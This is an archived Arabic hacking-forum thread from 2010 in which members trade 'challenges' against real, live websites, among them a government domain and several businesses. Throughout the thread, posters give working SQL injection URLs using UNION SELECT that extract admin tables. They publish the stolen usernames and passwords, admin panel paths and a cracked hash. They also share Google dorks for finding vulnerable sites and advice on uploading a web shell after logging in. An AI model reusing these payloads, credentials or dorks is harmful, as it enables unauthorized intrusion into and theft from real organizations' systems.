:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   تحديات خاصة بالمبتدئين في دورة sql (http://www.vbspiders.com/vb/t31386.html)

the cold zero 07-06-2010 09:12 PM

اقتباس:

و الله أخي البارح كان عندي واحد و تعصبني و رميتووو

لكن أنا لما فحصته وجدت فيه الخطأ و استخرجت المجال اللي محصور فيه الأعمدة المصابة لكن لما أطبق أمر انيو+سيلكت +
عدد الأعمدة ( 1,,2,3,4........) ما يطلعو الجداول المصابه


ايش العمل في هذه الحالة ؟؟

يا اخى
عند استعمال امر اونيون وسلكت لاظهار العمود المصاب
يجب ان تضع قبل الرقم المتغير علامه -

مثال
http://www.xxxxxxxxx.com/news.php?id=-2 UNION SELECT 1,2,3,4,5,6,7

لاحظ علامه - اللى قبل رقم 2

لو حذفت هذه العلامه ما راح يظهر العمود المصاب

ولكن لو وضعتها راح تلقى العمود ظاهر


ولو فيه اي شئ غير واضح

لا تتردد بوضع استفسارك

وبالتوفيق..

marrak 07-06-2010 09:38 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة TheGame (المشاركة 165499)
هذا هوه الاستغلال الكامل للموقع

http://www.opdc.go.th/english/main/c...cs.admin--+%27

واليوزر : admin
والباس : admin

وهذا مسار لوحة التحكم

http://www.opdc.go.th/english/admin

ياريت الي يكدر يرفع شل ويضع الرابط هنا لتدريب عليه لا غير smilies14

جوابك صحيح 100%
لك تحياتي

the-black 07-07-2010 12:11 AM

أخي ٍthe cold zero

أنا واضع كل شيئ

يعني الحقن كل صحيح لكن الأعمدة لا تظهر

marrak 07-07-2010 12:17 AM

السلام عليكم
اليكم الموقع التالي
http://mza.ge/
لكم تحياتي

the cold zero 07-07-2010 12:47 AM

تفضل وفى انتظار الموقع القادم

http://mza.ge/go.php?Site_id=-12 UNION SELECT 1,concat(id,0x3a,username,0x3a,password),3,4,5,6,7 +from+members--


user:john
pass:1234

the-black 07-07-2010 12:55 AM

marrak

كيف تطلع لوحات تحكم المواااقع من فضلك أخي

marrak 07-07-2010 10:33 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة the-black (المشاركة 165654)
marrak

كيف تطلع لوحات تحكم المواااقع من فضلك أخي

استعمل غالبا برنامج AdminPage
ان اردته فانا رهن اشارتك

marrak 07-07-2010 10:36 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة the cold zero (المشاركة 165652)
تفضل وفى انتظار الموقع القادم

http://mza.ge/go.php?Site_id=-12 UNION SELECT 1,concat(id,0x3a,username,0x3a,password),3,4,5,6,7 +from+members--


user:john
pass:1234

مبروك عليك اخي الكريم

marrak 07-08-2010 12:05 AM

السلام عليكم
اليكم الموقع التالي
http://www.myratingis.com
لكم تحياتي

TheGame 07-08-2010 02:39 AM

تم استخراج اليوزر والباس

الاستغلال الكامل

http://www.myratingis.com/movie.php?...om+adminاليوزر

admin اليوزر
nanna الباس


لوحة التحكمhttp://www.myratingis.com/admin/

وشكرا لصاحب الموضوع

ابن المنصور 07-08-2010 03:59 AM

تم استخراج اليوزر والباس

الاستغلال الكامل

http://www.myratingis.com/movie.php?...om+adminاليوزر

admin اليوزر
nanna الباس


لوحة التحكمhttp://www.myratingis.com/admin/

وشكرا لصاحب الموضوع




اخي انا مبتدئ ودخلت لوحة التحكم ولكن كيف

ارفع الشل

يصير اخلي صفة الاختراق بدون ما اخلي الشل

ابن المنصور 07-08-2010 04:43 AM

اخي الكريم كيف اعرف ان الرابط مصاب ارجوكم اخبروني

ياريت لو شرح فديو

تابعت بعض الدورس ولم افهم شي ما هو الحل يا اخوان

ابن المنصور 07-08-2010 04:51 AM

اخي العزيز

الان اني عرفت ادخل لوحة التحكم من خلال رد الاخ

جوابك صحيح اخي الكريم the cold zero.
وفقك الله لما يحب ويرضى
الجواب
admin:admin

لوحة التحكم
http://www.annapolisroyalwellnesscen...dmin/login.php

لكم تحياتي



بعدها اين اذهب ياريت اترد علية نكفووون يا ابطال

the-black 07-08-2010 11:54 AM

اقتباس:

المشاركة الأصلية كتبت بواسطة marrak (المشاركة 166169)
استعمل غالبا برنامج AdminPage
ان اردته فانا رهن اشارتك

السام عليكم

أيهما أفضل هل adminpage أو havij ؟؟؟

و شكراا لك أخي

marrak 07-08-2010 11:56 AM

اقتباس:

المشاركة الأصلية كتبت بواسطة the-black (المشاركة 166369)
السام عليكم

أيهما أفضل هل adminpage أو havij ؟؟؟

و شكراا لك أخي

كلاهما يؤدي الى نفس النتيجة .

the-black 07-08-2010 02:37 PM

أكي يسلمو أخي

الله ينورك يا رب

ابن المنصور 07-08-2010 03:23 PM

لماذا لا احد يجيبوني...؟

marrak 07-08-2010 10:12 PM

السلام عليكم
اليكم الموقع التالي
http://www.matchb2b.net
لكم تحياتي

the cold zero 07-08-2010 10:20 PM

السلام عليكم ورحمه الله وبركاته

اخى ابن المنصور

بعد ما تدخل لوحه التحكم
لكى ترفع الشل يجب ان تبحث فى لوحه التحكم عن اى مكان لرفع ملفات ومنه ان شاء الله راح ترفع الشل تبعك

وبالتوفيق يا اخى...

navigateur_xp 07-08-2010 10:59 PM

اليوم أول زيارة لي الى موقعكم حملت كل ما اقدر عليه من دروسسسسسسسسس خخخخخخخخخخخ اتمنى ان استفيد منها smilies14

marrak 07-08-2010 11:07 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة navigateur_xp (المشاركة 166800)
اليوم أول زيارة لي الى موقعكم حملت كل ما اقدر عليه من دروسسسسسسسسس خخخخخخخخخخخ اتمنى ان استفيد منها smilies14

مبروك عليك اخي الكريم .
ننتظر انجازاتك
لك تحياتي

ابن المنصور 07-08-2010 11:35 PM

the cold zero

اشكرك على جوابك اخي بارك الله بيك

the cold zero 07-09-2010 12:57 AM

اقتباس:

اشكرك على جوابك اخي بارك الله بيك
العفو يا اخى

لا تتردد بوضع استفسارك او سؤالك

marrak 07-09-2010 09:52 PM

السلام عليكم
اين انتم ايها العناكب
هل هذا الموقع صعب عليكم
http://www.matchb2b.net/
لكم تحياتي

TheGame 07-10-2010 02:11 AM

اخي بصراحة انا اخرجت اليوزر والباس من اول يوم

بس انتظرت الاعضاء يعني معقولة ولا واحد ماقدر يستخرج اليوزر والباس ؟؟؟؟؟؟؟؟؟؟؟؟


المهم هذا رابط الاستغلال

http://www.matchb2b.net/newsletter-d...matchb2b_admin--

اليوزر : admin
الباس : admin

رابط لوحة التحكم

http://www.matchb2b.net/admin

marrak 07-10-2010 08:14 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة TheGame (المشاركة 167668)
اخي بصراحة انا اخرجت اليوزر والباس من اول يوم

بس انتظرت الاعضاء يعني معقولة ولا واحد ماقدر يستخرج اليوزر والباس ؟؟؟؟؟؟؟؟؟؟؟؟


المهم هذا رابط الاستغلال

http://www.matchb2b.net/newsletter-details.php?newsletter_id=-37+union+select+1,2,group_CONCAT(admin_id,0x3a,adm in_login_name,0x3a,admin_login_password),4,5,6,7+f rom+matchb2b_admin--

اليوزر : admin
الباس : admin

رابط لوحة التحكم

http://www.matchb2b.net/admin

لك تحياتي اخي الكريم .

سأمر الى مواقع اخرى حيث الباس يكون مشفر .
لك تحياتي

ابن المنصور 07-11-2010 02:29 PM

مشالله عليك TheGame مبدع ومتميز

marrak 07-11-2010 11:34 PM

السلام عليكم
اليكم موقعا آخر حيث الصعوبة تزداد , لكن اصدار القاعدة دائما 5
http://www.merlincarauctions.ie
لكم تحياتي

TheGame 07-12-2010 03:43 AM

اقتباس:

المشاركة الأصلية كتبت بواسطة ابن المنصور (المشاركة 169198)
مشالله عليك TheGame مبدع ومتميز


ألعفو اخي smilies15 smilies14

TheGame 07-12-2010 03:45 AM

اقتباس:

المشاركة الأصلية كتبت بواسطة marrak (المشاركة 169580)
السلام عليكم
اليكم موقعا آخر حيث الصعوبة تزداد , لكن اصدار القاعدة دائما 5
http://www.merlincarauctions.ie
لكم تحياتي


اخي اصدر القاعدة ليست 5 انما 4 ارجو التأكيد

وهذا هوه

http://www.merlincarauctions.ie/dyna...,16,17--+'

DannY.IraQi 07-12-2010 10:25 AM

حلوه التحديات شباب اسمحولي بالمشاركة معكم @!

الاستغلال كامل
كود:

http://www.merlincarauctions.ie/dynamic.php?id_sub_menu=-77%27+union+select+1,2,3,4,group_concat%28username,0x3a,password,0x3a,email%29,6,7,8,9,10,11,12,13,14,15,16,17+from+admin/*
وهذا الباسورد مشفر

كود:

af13753fd6103db31a62495ec94b92992867672e
فكيت تشفيره


كود:

02536039
الباقي عليكم مسار لوحة تحكم @!

وان شاء يطير سيرفر

بأنتظار الهدف القادم


أختراقات موفقة شباب

marrak 07-12-2010 11:38 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة TheGame (المشاركة 169733)
اخي اصدر القاعدة ليست 5 انما 4 ارجو التأكيد

وهذا هوه

http://www.merlincarauctions.ie/dynamic.php?id_sub_menu=-77'+union+select+1,2,3,4,version(),6,7,8,9,10,11,1 2,13,14,15,16,17--+'


تفضل اخي الكريم
كود PHP:

http://www.merlincarauctions.ie/dynamic.php?id_sub_menu=-77%27+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+%27 


marrak 07-12-2010 11:43 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة DannY.IraQi (المشاركة 169851)
حلوه التحديات شباب اسمحولي بالمشاركة معكم @!

الاستغلال كامل
كود:

http://www.merlincarauctions.ie/dynamic.php?id_sub_menu=-77%27+union+select+1,2,3,4,group_concat%28username,0x3a,password,0x3a,email%29,6,7,8,9,10,11,12,13,14,15,16,17+from+admin/*
وهذا الباسورد مشفر

كود:

af13753fd6103db31a62495ec94b92992867672e
فكيت تشفيره


كود:

02536039
الباقي عليكم مسار لوحة تحكم @!

وان شاء يطير سيرفر

بأنتظار الهدف القادم


أختراقات موفقة شباب

بارك الله فيك اخي الكريم
لكي تعم الفائدة وجب اعطاء نوع تشفير الباس .
حاول الدخول الى الموقع . ابحث قليلا فالباس صحيح
لك تحياتي

hklv 07-14-2010 04:11 PM

ما شاء الله

استفدت بالتطبيق على المواقع لكن بعضها ما ظبط معي ماادري ليش وطلع مختلف عن الاعضاء ممكن من الادمن او ناس لعبت بالموقع الله اعلم

انتظر موقع فرش اتدرب عليه ، وبعدين بسالك انا تعبت احط دوركات ما احصل اخطاء :( ياليت ترشدني

marrak 07-15-2010 12:12 AM

السلام عليكم
اليكم الموقع التالى
http://www.ideesplus.fr/
التحدي سهل
--------------------------------
بالنسب للدوركات , اجتهد في اختراعها .
فأنا مثلا اضع
inurl: php.idmenu=
inurl:php.id_menu=
inurl:php.menu_id=
وهكذا الى ان اجد المواقع المنشودة .
المهم ان تجد كلمة يكثر استعمالها مثل
menu
book
books
livre
rayon ......
وتفنن في صنع الدورك الذي يناسبك.
لك تحياتي

hklv 07-15-2010 02:59 AM

^^ ممكن الاستغلال ؟ لإني ما شفت خطأ بالموقع :(

hklv 07-15-2010 03:13 AM

اقتباس:

المشاركة الأصلية كتبت بواسطة marrak (المشاركة 171552)
السلام عليكم
اليكم الموقع التالى
http://www.ideesplus.fr/
التحدي سهل
--------------------------------
بالنسب للدوركات , اجتهد في اختراعها .
فأنا مثلا اضع
inurl: php.idmenu=
inurl:php.id_menu=
inurl:php.menu_id=
وهكذا الى ان اجد المواقع المنشودة .
المهم ان تجد كلمة يكثر استعمالها مثل
menu
book
books
livre
rayon ......
وتفنن في صنع الدورك الذي يناسبك.
لك تحياتي

bezouce اليوزر نيم

axel الباسورد

واخيرا لحقنا على شيء :D

وممشكور يالغالي يعطيك ربي الف عافية بحاااااااااول

hklv 07-15-2010 03:15 AM

اقتباس:

المشاركة الأصلية كتبت بواسطة ThE MagiciaN (المشاركة 171638)
^^ ممكن الاستغلال ؟ لإني ما شفت خطأ بالموقع :(

http://www.annapolisroyalwellnesscenterandspa.com/

هذا الموقع ؟ ما شفت فيه خطأ ؟؟

وهالموقع

http://www.merlincarauctions.ie

اذا حطيت order+by+100000000 الخطأ ما يروح

،، انتظر تفسير :(

hklv 07-15-2010 05:53 AM

الحقيقه يا غالي السكول جميله ورائعه واحببتها

لكن كم هائل من التعب مع الدوركات :S " للحين ما شفت موقع مصاب من بحثي "

ربنا يعين وننتظر منك موقع ،

--------------تعديل للرد-------------

حصلت موقع مصاب لكن غريب !!

http://www.steeldynamics.com/index.p...ct+1,2,3,4,5--

العمود الصاب 3

عند وضع اي امر عند الرقم 3 يطلع خطأ // ممكن اعرف السبب ؟ / و الحل / + مشكورين يعطيكم ربي الف عافيه

hklv 07-15-2010 10:05 AM

http://www.opdc.go.th/english/main/c...000000000000--

لماذا تحدث هذه الحركه وكيف تخطيها :(


الساعة الآن 02:27 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0